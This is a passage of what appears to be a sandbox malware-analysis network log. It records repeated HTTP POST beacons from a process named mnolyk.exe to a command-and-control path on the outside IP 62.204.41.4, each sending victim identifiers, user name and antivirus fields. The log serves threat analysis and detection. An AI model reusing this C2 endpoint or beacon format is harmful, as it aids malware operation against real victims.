Feb 7, 2023 23:07:07.215212107 CET	127	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
230	192.168.2.7	49925	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:03.782316923 CET	345	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:03.847449064 CET	345	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
231	192.168.2.7	49926	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:04.026093006 CET	346	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:04.093128920 CET	346	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
232	192.168.2.7	49927	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:04.272109985 CET	347	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:04.337214947 CET	347	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
233	192.168.2.7	49928	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:04.507544041 CET	348	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:04.572125912 CET	348	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
234	192.168.2.7	49929	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:04.773416042 CET	349	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:04.839795113 CET	349	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
235	192.168.2.7	49930	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:05.022670984 CET	350	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:05.087532997 CET	350	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
236	192.168.2.7	49931	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:05.263417006 CET	351	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:05.328085899 CET	351	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
237	192.168.2.7	49932	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:05.505650043 CET	352	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:05.569046974 CET	352	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
238	192.168.2.7	49933	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:05.759793043 CET	353	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:05.823514938 CET	353	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
239	192.168.2.7	49934	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:05.990362883 CET	354	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:06.055263042 CET	354	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.7	49718	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:07:07.389631987 CET	128	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:07:07.452438116 CET	128	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:07:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
240	192.168.2.7	49935	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:06.241909981 CET	355	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:06.306998014 CET	355	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
241	192.168.2.7	49936	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:06.480597973 CET	356	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:06.544333935 CET	356	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
242	192.168.2.7	49937	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:06.728827000 CET	357	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:06.790683985 CET	357	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
243	192.168.2.7	49938	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:06.973603964 CET	358	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:07.040034056 CET	358	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
244	192.168.2.7	49939	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:07.214342117 CET	359	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:07.278188944 CET	359	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
245	192.168.2.7	49940	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:07.464493990 CET	360	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:07.529371977 CET	360	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
246	192.168.2.7	49941	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:07.714680910 CET	361	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:07.778090000 CET	361	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
247	192.168.2.7	49942	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:07.961390018 CET	362	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:08.025127888 CET	362	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
248	192.168.2.7	49943	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:08.214342117 CET	363	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:08.279133081 CET	363	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
249	192.168.2.7	49944	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 7, 2023 23:08:08.460140944 CET	364	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 33 32 30 39 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=320946&un=user&dm=&av=13&lv=0&og=1
Feb 7, 2023 23:08:08.525207043 CET	364	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 Feb 2023 22:08:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.7	49719	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
